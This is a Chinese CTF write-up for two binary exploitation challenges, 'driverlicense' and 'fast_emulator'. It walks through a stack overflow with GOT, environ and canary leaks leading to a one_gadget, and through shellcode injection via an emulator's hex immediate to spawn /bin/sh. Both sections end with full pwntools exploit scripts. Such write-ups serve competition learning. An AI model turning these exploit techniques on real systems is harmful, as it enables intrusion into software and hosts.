0%

长城杯CTF2023

driverlicense

1
GNU C Library (Ubuntu GLIBC 2.23-0ubuntu11) stable release version 2.23, by Roland
1
2
3
4
5
6
driverlicense: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /home/yhellow/Tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/ld-2.23.so, for GNU/Linux 2.6.32, BuildID[sha1]=9037e29de632f174a7c4a576165ac940f38a33c3, stripped
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x3ff000)
  • 64位,dynamically,Partial RELRO,Canary,NX

漏洞分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
v3 = std::operator<<<std::char_traits<char>>((__int64)&std::cout, (__int64)"Please input driverlicense information:");
std::ostream::operator<<(v3, &std::endl<char,std::char_traits<char>>);
std::operator<<<std::char_traits<char>>((__int64)&std::cout, (__int64)"Driver name >> ");
std::operator>><char>(&std::cin, v14);
std::string::basic_string(v15, v14);
sub_4015F2(comment, v15);
std::string::~string(v15);
std::operator<<<std::char_traits<char>>((__int64)&std::cout, (__int64)"Driver year >> ");
std::istream::operator>>(&std::cin, &key);
sub_40161C((__int64)comment, key);
std::operator<<<std::char_traits<char>>((__int64)&std::cout, (__int64)"Driver comment >> ");
std::operator>><char>(&std::cin, v14);
std::string::basic_string(v16, v14);
sub_401634((__int64)comment, (__int64)v16);
std::string::~string(v16);
  • cpp 的 cin >> 有一层最基础的逻辑:
    • 先申请固定大小的 chunk,如果写入数据的长度超过了该 chunk,则会释放掉它并申请一个更大的 chunk
    • 如果写入的数据太小,则不会申请 chunk
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
__int64 __fastcall add(__int64 a1)
{
__int64 v1; // rax
void *ptr; // [rsp+10h] [rbp-10h]
size_t size; // [rsp+18h] [rbp-8h]

ptr = (void *)std::string::c_str(a1);
size = malloc_usable_size(ptr);
if ( size )
{
std::operator<<<std::char_traits<char>>(&std::cout, "Input new comment >> ");
return readn((__int64)ptr, size);
}
else
{
v1 = std::operator<<<std::char_traits<char>>(&std::cout, "Edit failed.");
return std::ostream::operator<<(v1, &std::endl<char,std::char_traits<char>>);
}
}
  • 程序默认 cin >> 已经创造了 chunk
  • 如果 cin >> 没有创造 chunk,则 std::string::c_str 会获取到栈中的数据,从而造成栈溢出

入侵思路

利用栈溢出就可以覆盖栈上的指针,从而导致任意地址读,于是我们就可以通过 GOT 表完成泄露(需要分多段进行泄露)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
name = "a"*3
sla('Driver name >> ',name)

year = 0x11111111
sla('Driver year >> ',str(year))

comment = "c"*3
sla('Driver comment >> ',comment)

"""
pwndbg> telescope 0x7ffd03424820-0x50
00:0000│ 0x7ffd034247d0 ◂— 0x636363 /* 'ccc' */
01:0008│ 0x7ffd034247d8 —▸ 0x401547 ◂— nop
02:0010│ 0x7ffd034247e0 —▸ 0x7ffd034247f0 ◂— 0x7ffd00636363 /* 'ccc' */
03:0018│ 0x7ffd034247e8 ◂— 0x3
04:0020│ 0x7ffd034247f0 ◂— 0x7ffd00636363 /* 'ccc' */
05:0028│ 0x7ffd034247f8 —▸ 0x40155d ◂— pop rbp
06:0030│ 0x7ffd03424800 —▸ 0x7ffd03424810 ◂— 0x616161 /* 'aaa' */
07:0038│ 0x7ffd03424808 ◂— 0x3
"""

cmd(1)
sla('Input new comment >> ', "a"*16 + p64(0x602028))
cmd(2)

p.recvuntil("Your name : ")
leak_addr = u64(p.recv(3).ljust(8,b'\x00'))
libc_base = leak_addr
success("leak_addr >> " + hex(leak_addr))

cmd(1)
sla('Input new comment >> ', "a"*16 + p64(0x602028+3))
cmd(2)

p.recvuntil("Your name : ")
leak_addr = u64(p.recv(3).ljust(8,b'\x00'))
libc_base += leak_addr << 24
libc_base = libc_base - libc.sym["read"]
success("leak_addr >> " + hex(leak_addr))
success("libc_base >> " + hex(libc_base))

比赛时卡在了泄露 canary 这一步,后来经过队友的提醒想起来了通过 libc 泄露 stack 的方法:

  • 通过全局变量 _environ 来泄露栈地址
  • 通过栈地址来泄露 canary
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
environ = libc_base + libc.sym['_environ']
success("environ >> " + hex(environ))

cmd(1)
sla('Input new comment >> ', "a"*16 + p64(environ))
cmd(2)
p.recvuntil("Your name : ")
leak_addr = u64(p.recv(3).ljust(8,b'\x00'))
stack = leak_addr
success("leak_addr >> " + hex(leak_addr))

cmd(1)
sla('Input new comment >> ', "a"*16 + p64(environ+3))
cmd(2)
p.recvuntil("Your name : ")
leak_addr = u64(p.recv(3).ljust(8,b'\x00'))
success("leak_addr >> " + hex(leak_addr))
stack += leak_addr << 24
success("stack >> " + hex(stack))

cmd(1)
sla('Input new comment >> ',"a"*16 + p64(stack-0x110+6))
cmd(2)
p.recvuntil("Your name : ")
canary_leak1 = u64(p.recv(3).ljust(8,b'\x00')) << 48
success("canary_leak1 >> " + hex(canary_leak1))

cmd(1)
sla('Input new comment >> ',"a"*16 + p64(stack-0x110+3))
cmd(2)
p.recvuntil("Your name : ")
canary_leak2 = u64(p.recv(3).ljust(8,b'\x00')) << 24
success("canary_leak2 >> " + hex(canary_leak2))

cmd(1)
sla('Input new comment >> ',"a"*16 + p64(stack-0x110))
cmd(2)
p.recvuntil("Your name : ")
canary_leak3 = u64(p.recv(3).ljust(8,b'\x00'))
success("canary_leak3 >> " + hex(canary_leak3))

canary = canary_leak1 + canary_leak2 + canary_leak3
success("canary >> " + hex(canary))

最后直接劫持返回地址就可以了

完整 exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
# -*- coding:utf-8 -*-
from pwn import *
import warnings
warnings.filterwarnings("ignore", category=BytesWarning)
arch = 64
challenge = './driverlicense'

context.os='linux'
#context.log_level = 'debug'
if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'
elf = ELF(challenge)
libc = ELF('libc-2.23.so')

local = 1
if local:
p = process(challenge)
else:
p = remote('172.31.0.17', 10001)

sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)

def debug():
gdb.attach(p,"b*0x4011BA")

def cmd(op):
sla('0 : exit\n>> ',str(op))

#debug()

name = "a"*3
sla('Driver name >> ',name)

year = 0x11111111
sla('Driver year >> ',str(year))

comment = "c"*3
sla('Driver comment >> ',comment)

"""
pwndbg> telescope 0x7ffd03424820-0x50
00:0000│ 0x7ffd034247d0 ◂— 0x636363 /* 'ccc' */
01:0008│ 0x7ffd034247d8 —▸ 0x401547 ◂— nop
02:0010│ 0x7ffd034247e0 —▸ 0x7ffd034247f0 ◂— 0x7ffd00636363 /* 'ccc' */
03:0018│ 0x7ffd034247e8 ◂— 0x3
04:0020│ 0x7ffd034247f0 ◂— 0x7ffd00636363 /* 'ccc' */
05:0028│ 0x7ffd034247f8 —▸ 0x40155d ◂— pop rbp
06:0030│ 0x7ffd03424800 —▸ 0x7ffd03424810 ◂— 0x616161 /* 'aaa' */
07:0038│ 0x7ffd03424808 ◂— 0x3
"""

cmd(1)
sla('Input new comment >> ', b"a"*16 + p64(0x602028))
cmd(2)

p.recvuntil("Your name : ")
leak_addr = u64(p.recv(3).ljust(8,b'\x00'))
libc_base = leak_addr
success("leak_addr >> " + hex(leak_addr))

cmd(1)
sla('Input new comment >> ', b"a"*16 + p64(0x602028+3))
cmd(2)

p.recvuntil("Your name : ")
leak_addr = u64(p.recv(3).ljust(8,b'\x00'))
libc_base += leak_addr << 24
libc_base = libc_base - libc.sym["read"]
success("leak_addr >> " + hex(leak_addr))
success("libc_base >> " + hex(libc_base))

environ = libc_base + libc.sym['_environ']
success("environ >> " + hex(environ))

cmd(1)
sla('Input new comment >> ', b"a"*16 + p64(environ))
cmd(2)
p.recvuntil("Your name : ")
leak_addr = u64(p.recv(3).ljust(8,b'\x00'))
stack = leak_addr
success("leak_addr >> " + hex(leak_addr))

cmd(1)
sla('Input new comment >> ', b"a"*16 + p64(environ+3))
cmd(2)
p.recvuntil("Your name : ")
leak_addr = u64(p.recv(3).ljust(8,b'\x00'))
success("leak_addr >> " + hex(leak_addr))
stack += leak_addr << 24
success("stack >> " + hex(stack))

cmd(1)
sla('Input new comment >> ',b"a"*16 + p64(stack-0x110+6))
cmd(2)
p.recvuntil("Your name : ")
canary_leak1 = u64(p.recv(3).ljust(8,b'\x00')) << 48
success("canary_leak1 >> " + hex(canary_leak1))

cmd(1)
sla('Input new comment >> ',b"a"*16 + p64(stack-0x110+3))
cmd(2)
p.recvuntil("Your name : ")
canary_leak2 = u64(p.recv(3).ljust(8,b'\x00')) << 24
success("canary_leak2 >> " + hex(canary_leak2))

cmd(1)
sla('Input new comment >> ',b"a"*16 + p64(stack-0x110))
cmd(2)
p.recvuntil("Your name : ")
canary_leak3 = u64(p.recv(3).ljust(8,b'\x00'))
success("canary_leak3 >> " + hex(canary_leak3))

canary = canary_leak1 + canary_leak2 + canary_leak3
canary &= 0xffffffffffffffff
success("canary >> " + hex(canary))

one_gadgets = [0x45226,0x4527a,0xf03a4,0xf1247]
one_gadget = one_gadgets[0] + libc_base
cmd(1)
fake_chunk = p64(0)+p64(0x21)+p64(0)+p64(0)
payload = fake_chunk + p64(canary)*7 + p64(one_gadget)
sla('Input new comment >> ',payload)

p.interactive()

fast_emulator

1
2
3
4
5
6
fast_emulator: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=847bef575e01063e3c4c97226350955708b76d20, for GNU/Linux 3.2.0, not stripped
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
  • 64位,dynamically,Partial RELRO,NX,PIE

漏洞分析

1
2
3
4
__int64 __fastcall call_code(__int64 (*a1)(void))
{
return a1();
}
  • 有后门,多半是执行 shellcode
1
2
3
4
5
6
7
8
9
10
memset(hex, 0, sizeof(hex));
if ( key2 && buf[0x47] == 'x' )
{
true_size = from_hex(buf + 0x46, (__int64)hex);
size = 4;
if ( true_size >= 4 )
size = true_size;
memcpy(shellcode + 3, hex, size);
return (unsigned int)(size + 3);
}
  • from_hex 限制的长度远超 mov 指令所需要的长度
1
2
3
4
5
6
7
sla("enter: ",str(0x64))
cmd("add r1 r4")

cmd("load r3 0xffffffffffffffffffffffffff")

for i in range(0x62):
cmd("load r3 0x50")
1
2
3
4
0x563401dc56b5 <write_code+453>    call   memcpy@plt                <memcpy@plt>
dest: 0x7f0c61bcf006 ◂— 0x0
src: 0x7fffd87d0f00 ◂— 0xffffffffffffffff
n: 0xd
1
2
0x7f0c61bcf000    add    rax, rbx
0x7f0c61bcf003 mov rdx, 0xffffffffffffffff
1
2
3
4
pwndbg> telescope 0x7f0c61bcf000
00:0000│ rdi r13 rip 0x7f0c61bcf000 ◂— add rax, rbx
01:00080x7f0c61bcf008 ◂— 0xffffffffffffffff
02:00100x7f0c61bcf010 ◂— 0x50c2c748ffffff
  • 溢出的部分没法被 mov 识别,而是作为二进制代码加入程序的执行

入侵思路

可以任意执行 shellcode,不过程序的溢出有限需要分段进行

最后还有一个问题就是如何写入 “/bin/sh”,仔细观察寄存器的值可以发现方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
 RAX  0xffffffff90909090
RBX 0x7f858a8c52c3 ◂— ret
RCX 0x7f858a7a19ab (mprotect+11) ◂— cmp rax, -0xfff
RDX 0x5
*RDI 0x7fff597c7cd0 ◂— 'load r3 0x50\n'
RSI 0x1000
R8 0x7
R9 0x1
R10 0x562dd4eee5d6 ◂— 'mprotect'
R11 0x206
R12 0x7fff597c7c60 ◂— 0x64616f6c /* 'load' */
R13 0x7f858a8c5000 ◂— mov rax, 0xffffffff90909090
R14 0x562dd4ef0020 ◂— 0x6c7573657200203e /* '> ' */
R15 0x64
RBP 0x7fff597c7cd0 ◂— 'load r3 0x50\n'
*RSP 0x7fff597c7c48 —▸ 0x562dd4eefa20 (exec_input+352) ◂— lea rdi, [rip + 0x5fc]
*RIP 0x7f858a8c5009 ◂— mov rax, 0x3b
  • 经过调试发现:RBP 寄存器中存放的数据为最后一次写入的指令
  • 我们可以写入一个 push rbp + pop rdi 的组合获取 “/bin/sh”

完整 exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
# -*- coding:utf-8 -*-
from pwn import *

arch = 64
challenge = './fast_emulator'

context.os='linux'
#context.log_level = 'debug'
if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'

elf = ELF(challenge)

rl = lambda a=False : p.recvline(a)
ru = lambda a,b=True : p.recvuntil(a,b)
rn = lambda x : p.recvn(x)
sn = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
irt = lambda : p.interactive()
dbg = lambda text=None : gdb.attach(p, text)
# lg = lambda s,addr : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s,addr))
lg = lambda s : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, b'x00'))
uu64 = lambda data : u64(data.ljust(8, b'x00'))

local = 1
if local:
p = process(challenge)
else:
p = remote('119.13.105.35','10111')

def debug():
#gdb.attach(p)
gdb.attach(p,"b *$rebase(0x1A1D)\n")
pause()

def cmd(str):
sla("> ",str)

#debug()

sla("enter: ",str(0x64))

cmd("load r1 0x5f5590909090") # push rbp; pop rdi;
cmd("load r1 0x3b")
cmd("load r2 0x5a006a90909090") # push 0; pop rsi;
cmd("load r2 0x5e006a90909090") # push 0; pop rsi;
cmd("load r2 0x050f9090909090") # syscall;

for i in range(0x64-5-1):
cmd("load r3 0x50")

cmd("/bin/sh\x00")

p.interactive()